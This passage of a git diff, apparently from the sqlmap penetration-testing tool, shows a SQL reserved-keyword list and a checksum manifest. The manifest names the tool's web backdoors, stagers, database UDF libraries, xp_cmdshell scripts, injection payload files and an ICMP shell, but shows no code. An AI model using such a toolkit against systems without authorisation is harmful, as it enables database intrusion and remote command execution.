+MASTER_ZSTD_COMPRESSION_LEVEL +MATCH +MAXVALUE +MAX_CONNECTIONS_PER_HOUR +MAX_QUERIES_PER_HOUR +MAX_ROWS +MAX_SIZE +MAX_UPDATES_PER_HOUR +MAX_USER_CONNECTIONS +MEDIUM +MEDIUMBLOB +MEDIUMINT +MEDIUMTEXT +MEMBER +MEMORY +MERGE +MESSAGE_TEXT +MICROSECOND +MIDDLEINT +MIGRATE +MINUTE +MINUTE_MICROSECOND +MINUTE_SECOND +MIN_ROWS +MOD +MODE +MODIFIES +MODIFY +MONTH +MULTILINESTRING +MULTIPOINT +MULTIPOLYGON +MUTEX +MYSQL_ERRNO +NAME +NAMES +NATIONAL +NATURAL +NCHAR +NDB +NDBCLUSTER +NESTED +NETWORK_NAMESPACE +NEVER +NEW +NEXT +NO +NODEGROUP +NONE +NOT +NOWAIT +NO_WAIT +NO_WRITE_TO_BINLOG +NTH_VALUE +NTILE +NULL +NULLS +NUMBER +NUMERIC +NVARCHAR +OF +OFF +OFFSET +OJ +OLD +ON +ONE +ONLY +OPEN +OPTIMIZE +OPTIMIZER_COSTS +OPTION +OPTIONAL +OPTIONALLY +OPTIONS +OR +ORDER +ORDINALITY +ORGANIZATION +OTHERS +OUT +OUTER +OUTFILE +OVER +OWNER +PACK_KEYS +PAGE +PARSER +PARTIAL +PARTITION +PARTITIONING +PARTITIONS +PASSWORD_LOCK_TIME +PATH +PERCENT_RANK +PERSIST +PERSIST_ONLY +PHASE +PLUGIN +PLUGINS +PLUGIN_DIR +POINT +POLYGON +PORT +PRECEDES +PRECEDING +PRECISION +PREPARE +PRESERVE +PREV +PRIMARY +PRIVILEGES +PRIVILEGE_CHECKS_USER +PROCEDURE +PROCESS +PROCESSLIST +PROFILE +PROFILES +PROXY +PURGE +QUARTER +QUERY +QUICK +RANDOM +RANGE +RANK +READ +READS +READ_ONLY +READ_WRITE +REAL +REBUILD +RECOVER +RECURSIVE +REDOFILE +REDO_BUFFER_SIZE +REDUNDANT +REFERENCE +REFERENCES +REGEXP +REGISTRATION +RELAY +RELAYLOG +RELAY_LOG_FILE +RELAY_LOG_POS +RELAY_THREAD +RELEASE +RELOAD +REMOTE +REMOVE +RENAME +REORGANIZE +REPAIR +REPEAT +REPEATABLE +REPLACE +REPLICA +REPLICAS +REPLICATE_DO_DB +REPLICATE_DO_TABLE +REPLICATE_IGNORE_DB +REPLICATE_IGNORE_TABLE +REPLICATE_REWRITE_DB +REPLICATE_WILD_DO_TABLE +REPLICATE_WILD_IGNORE_TABLE +REPLICATION +REQUIRE +REQUIRE_ROW_FORMAT +RESET +RESIGNAL +RESOURCE +RESPECT +RESTART +RESTORE +RESTRICT +RESUME +RETAIN +RETURN +RETURNED_SQLSTATE +RETURNING +RETURNS +REUSE +REVERSE +REVOKE +RIGHT +RLIKE +ROLE +ROLLBACK +ROLLUP +ROTATE +ROUTINE +ROW +ROWS +ROW_COUNT +ROW_FORMAT +ROW_NUMBER +RTREE +SAVEPOINT +SCHEDULE +SCHEMA +SCHEMAS +SCHEMA_NAME +SECOND +SECONDARY +SECONDARY_ENGINE +SECONDARY_ENGINE_ATTRIBUTE +SECONDARY_LOAD +SECONDARY_UNLOAD +SECOND_MICROSECOND +SECURITY +SELECT +SENSITIVE +SEPARATOR +SERIAL +SERIALIZABLE +SERVER +SESSION +SET +SHARE +SHOW +SHUTDOWN +SIGNAL +SIGNED +SIMPLE +SKIP +SLAVE +SLOW +SMALLINT +SNAPSHOT +SOCKET +SOME +SONAME +SOUNDS +SOURCE +SOURCE_AUTO_POSITION +SOURCE_BIND +SOURCE_COMPRESSION_ALGORITHMS +SOURCE_CONNECT_RETRY +SOURCE_DELAY +SOURCE_HEARTBEAT_PERIOD +SOURCE_HOST +SOURCE_LOG_FILE +SOURCE_LOG_POS +SOURCE_PASSWORD +SOURCE_PORT +SOURCE_PUBLIC_KEY_PATH +SOURCE_RETRY_COUNT +SOURCE_SSL +SOURCE_SSL_CA +SOURCE_SSL_CAPATH +SOURCE_SSL_CERT +SOURCE_SSL_CIPHER +SOURCE_SSL_CRL +SOURCE_SSL_CRLPATH +SOURCE_SSL_KEY +SOURCE_SSL_VERIFY_SERVER_CERT +SOURCE_TLS_CIPHERSUITES +SOURCE_TLS_VERSION +SOURCE_USER +SOURCE_ZSTD_COMPRESSION_LEVEL +SPATIAL +SPECIFIC +SQL +SQLEXCEPTION +SQLSTATE +SQLWARNING +SQL_AFTER_GTIDS +SQL_AFTER_MTS_GAPS +SQL_BEFORE_GTIDS +SQL_BIG_RESULT +SQL_BUFFER_RESULT +SQL_CACHE +SQL_CALC_FOUND_ROWS +SQL_NO_CACHE +SQL_SMALL_RESULT +SQL_THREAD +SQL_TSI_DAY +SQL_TSI_HOUR +SQL_TSI_MINUTE +SQL_TSI_MONTH +SQL_TSI_QUARTER +SQL_TSI_SECOND +SQL_TSI_WEEK +SQL_TSI_YEAR +SRID +SSL +STACKED +START +STARTING +STARTS +STATS_AUTO_RECALC +STATS_PERSISTENT +STATS_SAMPLE_PAGES +STATUS +STOP +STORAGE +STORED +STRAIGHT_JOIN +STREAM +STRING +SUBCLASS_ORIGIN +SUBJECT +SUBPARTITION +SUBPARTITIONS +SUPER +SUSPEND +SWAPS +SWITCHES +SYSTEM +TABLE +TABLES +TABLESPACE +TABLE_CHECKSUM +TABLE_NAME +TEMPORARY +TEMPTABLE +TERMINATED +TEXT +THAN +THEN +THREAD_PRIORITY +TIES +TIME +TIMESTAMP +TIMESTAMPADD +TIMESTAMPDIFF +TINYBLOB +TINYINT +TINYTEXT +TLS +TO +TRAILING +TRANSACTION +TRIGGER +TRIGGERS +TRUE +TRUNCATE +TYPE +TYPES +UNBOUNDED +UNCOMMITTED +UNDEFINED +UNDO +UNDOFILE +UNDO_BUFFER_SIZE +UNICODE +UNINSTALL +UNION +UNIQUE +UNKNOWN +UNLOCK +UNREGISTER +UNSIGNED +UNTIL +UPDATE +UPGRADE +URL +USAGE +USE +USER +USER_RESOURCES +USE_FRM +USING +UTC_DATE +UTC_TIME +UTC_TIMESTAMP +VALIDATION +VALUE +VALUES +VARBINARY +VARCHAR +VARCHARACTER +VARIABLES +VARYING +VCPU +VIEW +VIRTUAL +VISIBLE +WAIT +WARNINGS +WEEK +WEIGHT_STRING +WHEN +WHERE +WHILE +WINDOW +WITH +WITHOUT +WORK +WRAPPER +WRITE +X509 +XA +XID +XML +XOR +YEAR +YEAR_MONTH +ZEROFILL +ZONE + +# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html) + +ABS +ACOS +ALL +ALLOCATE +ALTER +ANALYSE +ANALYZE +AND +ANY +ARE +ARRAY +ARRAY_AGG +ARRAY_MAX_CARDINALITY +AS +ASC +ASENSITIVE +ASIN +ASYMMETRIC +AT +ATAN +ATOMIC +AUTHORIZATION +AVG +BEGIN +BEGIN_FRAME +BEGIN_PARTITION +BETWEEN +BIGINT +BINARY +BLOB +BOOLEAN +BOTH +BY +CALL +CALLED +CARDINALITY +CASCADED +CASE +CAST +CEIL +CEILING +CHAR +CHARACTER +CHARACTER_LENGTH +CHAR_LENGTH +CHECK +CLASSIFIER +CLOB +CLOSE +COALESCE +COLLATE +COLLATION +COLLECT +COLUMN +COMMIT +CONCURRENTLY +CONDITION +CONNECT +CONSTRAINT +CONTAINS +CONVERT +COPY +CORR +CORRESPONDING +COS +COSH +COUNT +COVAR_POP +COVAR_SAMP +CREATE +CROSS +CUBE +CUME_DIST +CURRENT +CURRENT_CATALOG +CURRENT_DATE +CURRENT_DEFAULT_TRANSFORM_GROUP +CURRENT_PATH +CURRENT_ROLE +CURRENT_ROW +CURRENT_SCHEMA +CURRENT_TIME +CURRENT_TIMESTAMP +CURRENT_TRANSFORM_GROUP_FOR_TYPE +CURRENT_USER +CURSOR +CYCLE +DATALINK +DATE +DAY +DEALLOCATE +DEC +DECFLOAT +DECIMAL +DECLARE +DEFAULT +DEFERRABLE +DEFINE +DELETE +DENSE_RANK +DEREF +DESC +DESCRIBE +DETERMINISTIC +DISCONNECT +DISTINCT +DLNEWCOPY +DLPREVIOUSCOPY +DLURLCOMPLETE +DLURLCOMPLETEONLY +DLURLCOMPLETEWRITE +DLURLPATH +DLURLPATHONLY +DLURLPATHWRITE +DLURLSCHEME +DLURLSERVER +DLVALUE +DO +DOUBLE +DROP +DYNAMIC +EACH +ELEMENT +ELSE +EMPTY +END +END-EXEC +END_FRAME +END_PARTITION +EQUALS +ESCAPE +EVERY +EXCEPT +EXEC +EXECUTE +EXISTS +EXP +EXTERNAL +EXTRACT +FALSE +FETCH +FILTER +FIRST_VALUE +FLOAT +FLOOR +FOR +FOREIGN +FRAME_ROW +FREE +FREEZE +FROM +FULL +FUNCTION +FUSION +GET +GLOBAL +GRANT +GROUP +GROUPING +GROUPS +HAVING +HOLD +HOUR +IDENTITY +ILIKE +IMPORT +IN +INDICATOR +INITIAL +INITIALLY +INNER +INOUT +INSENSITIVE +INSERT +INT +INTEGER +INTERSECT +INTERSECTION +INTERVAL +INTO +IS +ISNULL +JOIN +JSON_ARRAY +JSON_ARRAYAGG +JSON_EXISTS +JSON_OBJECT +JSON_OBJECTAGG +JSON_QUERY +JSON_TABLE +JSON_TABLE_PRIMITIVE +JSON_VALUE +LAG +LANGUAGE +LARGE +LAST_VALUE +LATERAL +LEAD +LEADING +LEFT +LIKE +LIKE_REGEX +LIMIT +LISTAGG +LN +LOCAL +LOCALTIME +LOCALTIMESTAMP +LOG +LOG10 +LOWER +MATCH +MATCHES +MATCH_NUMBER +MATCH_RECOGNIZE +MAX +MEASURES +MEMBER +MERGE +METHOD +MIN +MINUTE +MOD +MODIFIES +MODULE +MONTH +MULTISET +NATIONAL +NATURAL +NCHAR +NCLOB +NEW +NO +NONE +NORMALIZE +NOT +NOTNULL +NTH_VALUE +NTILE +NULL +NULLIF +NUMERIC +OCCURRENCES_REGEX +OCTET_LENGTH +OF +OFFSET +OLD +OMIT +ON +ONE +ONLY +OPEN +OR +ORDER +OUT +OUTER +OVER +OVERLAPS +OVERLAY +PARAMETER +PARTITION +PATTERN +PER +PERCENT +PERCENTILE_CONT +PERCENTILE_DISC +PERCENT_RANK +PERIOD +PERMUTE +PLACING +PORTION +POSITION +POSITION_REGEX +POWER +PRECEDES +PRECISION +PREPARE +PRIMARY +PROCEDURE +PTF +RANGE +RANK +READS +REAL +RECURSIVE +REF +REFERENCES +REFERENCING +REGR_AVGX +REGR_AVGY +REGR_COUNT +REGR_INTERCEPT +REGR_R2 +REGR_SLOPE +REGR_SXX +REGR_SXY +REGR_SYY +RELEASE +RESULT +RETURN +RETURNING +RETURNS +REVOKE +RIGHT +ROLLBACK +ROLLUP +ROW +ROWS +ROW_NUMBER +RUNNING +SAVEPOINT +SCOPE +SCROLL +SEARCH +SECOND +SEEK +SELECT +SENSITIVE +SESSION_USER +SET +SHOW +SIMILAR +SIN +SINH +SKIP +SMALLINT +SOME +SPECIFIC +SPECIFICTYPE +SQL +SQLEXCEPTION +SQLSTATE +SQLWARNING +SQRT +START +STATIC +STDDEV_POP +STDDEV_SAMP +SUBMULTISET +SUBSET +SUBSTRING +SUBSTRING_REGEX +SUCCEEDS +SUM +SYMMETRIC +SYSTEM +SYSTEM_TIME +SYSTEM_USER +TABLE +TABLESAMPLE +TAN +TANH +THEN +TIME +TIMESTAMP +TIMEZONE_HOUR +TIMEZONE_MINUTE +TO +TRAILING +TRANSLATE +TRANSLATE_REGEX +TRANSLATION +TREAT +TRIGGER +TRIM +TRIM_ARRAY +TRUE +TRUNCATE +UESCAPE +UNION +UNIQUE +UNKNOWN +UNMATCHED +UNNEST +UPDATE +UPPER +USER +USING +VALUE +VALUES +VALUE_OF +VARBINARY +VARCHAR +VARIADIC +VARYING +VAR_POP +VAR_SAMP +VERBOSE +VERSIONING +WHEN +WHENEVER +WHERE +WIDTH_BUCKET +WINDOW +WITH +WITHIN +WITHOUT +XML +XMLAGG +XMLATTRIBUTES +XMLBINARY +XMLCAST +XMLCOMMENT +XMLCONCAT +XMLDOCUMENT +XMLELEMENT +XMLEXISTS +XMLFOREST +XMLITERATE +XMLNAMESPACES +XMLPARSE +XMLPI +XMLQUERY +XMLSERIALIZE +XMLTABLE +XMLTEXT +XMLVALIDATE +YEAR + +# Misc + +ORD +MID diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt new file mode 100644 index 00000000000..623d6e697bf --- /dev/null +++ b/data/txt/sha256sums.txt @@ -0,0 +1,637 @@ +e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql +6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql +798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql +5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql +3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql +afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql +657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql +1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql +9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql +02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql +02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql +606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql +4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql +7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt +519431a555205974e7b12b5ecb8d6fb03a504fbb4a6a410db8874a9bfcff6890 data/shell/backdoors/backdoor.asp_ +fbb0e5456bc80923d0403644371167948cefc8e95c95a98dc845bc6355e3718f data/shell/backdoors/backdoor.aspx_ +01695090da88b7e71172e3b97293196041e452bbb7b2ba9975b4fac7231e00a5 data/shell/backdoors/backdoor.cfm_ +03117933dcc9bfc24098e1e0191195fc4bafb891f0752edee28be1741894e0e5 data/shell/backdoors/backdoor.jsp_ +2505011f6dcf4c1725840ce495c3b3e4172217286f5ce2a0819c7a64ce35d9df data/shell/backdoors/backdoor.php_ +a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt +a4d49b7c1b43486d21f7d0025174b45e0608f55c110c6e9af8148478daec73d1 data/shell/stagers/stager.asp_ +1b21206f9d35b829fdf9afa17ea5873cd095558f05e644d56b39d560dfa62b6e data/shell/stagers/stager.aspx_ +8a149f77137fc427e397ec2c050e4028d45874234bc40a611a00403799e2dc0b data/shell/stagers/stager.cfm_ +c3a595fc1746ee07dbc0592ba7d5e207e6110954980599f63b8156d1d277f8ca data/shell/stagers/stager.jsp_ +82bcebc46ed3218218665794197625c668598eb7e861dd96e4f731a27b18a701 data/shell/stagers/stager.php_ +eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt +63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt +9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca data/txt/common-outputs.txt +44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt +ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt +522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt +6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473 data/txt/user-agents.txt +9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ +e3007876d35a153d9a107955fad3f6c338d3733210317b1f359417e8297595aa data/udf/mysql/linux/32/lib_mysqludf_sys.so_ +77f7e7b6cfde4bae8d265f81792c04c4d2b2966328cbf8affb4f980dec2b9d91 data/udf/mysql/linux/64/lib_mysqludf_sys.so_ +52b41ab911f940c22b7490f1d80f920c861e7a6c8c25bb8d3a765fd8af0c34a0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ +ea6592dbe61e61f52fd6ab7082722733197fa8f3e6bec0a99ca25aff47c15cff data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ +c58dd9b9fa27df0a730802bd49e36a5a3ccd59611fc1c61b8e85f92e14ac2a88 data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ +b6fdcfcafbbc5da34359604a69aaa9f8459a7e6e319f7b2ee128e762e84d1643 data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ +8d22d8b06ce253ae711c6a71b4ed98c7ad5ad1001a3dafb30802ec0b9b325013 data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ +812374d50a672a9d07faba1be9a13cfb84a369894dc7c702991382bb9558be9d data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ +5b816a33d9c284e62f1ea707e07b10be5efd99db5762d7bd60c6360dd2e70d8f data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ +cf5b9986fd70f6334bd00e8efcf022571089b8384b650245fb352ec18e48acdf data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ +445c05dac6714a64777892a372b0e3c93eee651162a402658485c48439390ad2 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ +1c86d2358c20384ac92d333444b955a01ee97f28caac35ed39fdb654d5f93c1b data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ +050ff4692a04dc00b7e6ac187a56be47b5a654ccf907ffa9f9446194763ae7e5 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ +7806d4c6865c7ebed677ae8abe302ca687c8f9f5b5287b89fed27a36beeeb232 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ +cfa2a8fc26430cbc11ad0bd37609c753d4ca1eecb0472efe3518185d2d13e7cf data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ +d2210ad9260bd22017acc519a576595306842240f24d8b4899a23228a70f78c6 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ +6311d919f6ff42c959d0ce3bc6dd5cb782f79f77857e9ab3bd88c2c365e5f303 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ +4520fc47ea6e0136e03ba9b2eb94161da328f340bf6fbebad39ca82b3b3e323b data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ +bad0bb94ec75b2912d8028f7afdfd70a96c8f86cbc10040c72ece3fd5244660d data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ +b8132a5fe67819ec04dbe4e895addf7e9f111cfe4810a0c94b68002fd48b5deb data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ +03f3b12359a1554705eab46fb04dba63086beb5e2b20f97b108164603efdcb65 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ +e5be1341a84b1a14c4c648feec02418acb904cd96d7cf0f66ec3ff0c117baf91 data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ +28113b48848ba7d22955a060a989f5ae4f14183b1fc64b67898095610176098c data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ +1187045f66f101c89678791960dc37ca5663cf4190ca7dc550753f028ec61a88 data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ +2259cd7e3f6ff057bbbb6766efc6818a59dbf262bfadefd9fda31746903c7501 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ +1fdb0856443b56bf9e3e8c7d195171327217af745ad2e299c475d96892a07ec9 data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ +21e274e6c49cc444d689cb34a83497f982ed2b2850cab677dc059aea9e397870 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ +6707132e4e812ad23cc22ff26e411e89f1eb8379a768161b410202c5442ff3ea data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ +0989c0c0143fb515a12a8b5064f014c633d13a8841aeceaf02ff46901f17805f data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ +3a492e9a1da0799d1107aa5949538303d06409c9a0ed00499626a08083d486ee data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ +3eab7d90606c3c0a9a88e1475e6d8d7d787b3b109c7e188cb9cb8b5561a6766e data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ +a1fe84c5b409366c3926f3138189fb17e7388ef09594a47c9d64e4efe9237a4b data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ +7368a6301369a63e334d829a1d7f6e0b55a824a9f1579dfeb7ced5745994ebc6 data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ +0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt +288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551 data/xml/banner/generic.xml +2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97 data/xml/banner/mssql.xml +14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb data/xml/banner/mysql.xml +6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd data/xml/banner/oracle.xml +9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml +86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml +146887f28e3e19861516bca551e050ce81a1b8d6bb69fd342cc1f19a25849328 data/xml/banner/servlet-engine.xml +8af6b979b6e0a01062dc740ae475ba6be90dc10bb3716a45d28ada56e81f9648 data/xml/banner/set-cookie.xml +a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml +e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml +3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml +0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml +02a7f6d6a0e023c3f087f78ab49cfb99e81df2b42e32718f877d90ab220486dc data/xml/errors.xml +d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml +88b8931a6d19af14e44a82408c250ed89295947575bbf3ff3047da1d37d1a1c1 data/xml/payloads/error_based.xml +b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml +0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml +997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml +40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml +a2a2d3f8bf506f27ab0847ad4daa1fc41ca781dd58b70d2d9ac1360cf8151260 data/xml/queries.xml +0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS +ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md +c8d5733111c6d1e387904bc14e98815f98f816f6e73f6a664de24c0f1d331d9b doc/THANKS.md +d7e38b213c70fe519fff2e06a9fd0dcfb1d8bed7787e37916cd14faaf002e167 doc/THIRD-PARTY.md +25012296e8484ea04f7d2368ac9bdbcded4e42dbc5e3373d59c2bb3e950be0b8 doc/translations/README-ar-AR.md +c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md +e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md +00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9 doc/translations/README-ckb-KU.md +f0bd369125459b81ced692ece2fe36c8b042dc007b013c31f2ea8c97b1f95c32 doc/translations/README-de-DE.md +163f1c61258ee701894f381291f8f00a307fe0851ddd45501be51a8ace791b44 doc/translations/README-es-MX.md +70d04bf35b8931c71ad65066bb5664fd48062c05d0461b887fdf3a0a8e0fab1d doc/translations/README-fa-IR.md +a55afae7582937b04bedf11dd13c62d0c87dedae16fcbcbd92f98f04a45c2bdf doc/translations/README-fr-FR.md +f4b8bd6cc8de08188f77a6aa780d913b5828f38ca1d5ef05729270cf39f9a3b8 doc/translations/README-gr-GR.md +bb8ca97c1abf4cf2ba310d858072276b4a731d2d95b461d4d77e1deca7ccbd8e doc/translations/README-hr-HR.md +27ecf8e38762b2ef5a6d48e59a9b4a35d43b91d7497f60027b263091acb067c6 doc/translations/README-id-ID.md +830a33cddd601cb1735ced46bbad1c9fbf1ed8bea1860d9dfa15269ef8b3a11c doc/translations/README-in-HI.md +40fc19ac5e790ee334732dd10fd8bd62be57f2203bd94bbd08e6aa8e154166e2 doc/translations/README-it-IT.md +379a338a94762ff485305b79afaa3c97cb92deb4621d9055b75142806d487bf5 doc/translations/README-ja-JP.md +754ce5f3be4c08d5f6ec209cc44168521286ce80f175b9ca95e053b9ec7d14d2 doc/translations/README-ka-GE.md +2e7cda0795eee1ac6f0f36e51ce63a6afedc8bbdfc74895d44a72fd070cf9f17 doc/translations/README-ko-KR.md +c161d366c1fa499e5f80c1b3c0f35e0fdeabf6616b89381d439ed67e80ed97eb doc/translations/README-nl-NL.md +95298c270cc3f493522f2ef145766f6b40487fb8504f51f91bc91b966bb11a7b doc/translations/README-pl-PL.md +b904f2db15eb14d5c276d2050b50afa82da3e60da0089b096ce5ddbf3fdc0741 doc/translations/README-pt-BR.md +3ed5f7eb20f551363eed1dc34806de88871a66fee4d77564192b9056a59d26ec doc/translations/README-rs-RS.md +7d5258bcd281ee620c7143598c18aba03454438c4dc00e7de3f4442d675c2593 doc/translations/README-ru-RU.md +bc15e7db466e42182e4bf063919c105327ff1b0ccd0920bb9315c76641ffd71a doc/translations/README-sk-SK.md +ab7d86319a68392caac23d8d7870d182d31fb8b33b24e84ba77c8119dbd194c2 doc/translations/README-tr-TR.md +5e313398bfe2573c83e25cfc5ff4c003fdbf9244aa611597a7084f7ac11cc405 doc/translations/README-uk-UA.md +c3a53e041ce868b4098c02add27ea3abaf6c9ecf73da61339519708ada6d4f24 doc/translations/README-vi-VN.md +c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translations/README-zh-CN.md +8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py +509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py +676a764f77109f29c310d7f9424c381516f71944e910efabbc95601af1e49a48 extra/cloak/cloak.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/cloak/__init__.py +6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128 extra/cloak/README.txt +4b6d44258599f306186a24e99d8648d94b04d85c1f2c2a442b15dc26d862b41e extra/dbgtool/dbgtool.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/dbgtool/__init__.py +a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt +b7557edb216f65056d359cd48f3191a642cf3a1838a422a67ffbef17b58535d7 extra/icmpsh/icmpsh.exe_ +4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c extra/icmpsh/icmpsh-m.c +8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl +12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py +6359bfef76fb5c887bb89c2241f6d65647308856f8d3ce3e10bf3fdde605e120 extra/icmpsh/icmpsh-s.c +ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py +27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/__init__.py +191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt +53d98136e508330e3adad43e4a3b0ebc5143c79f0ee7bce5dacf92cb8f7a17fd extra/runcmd/runcmd.exe_ +70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt +baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae 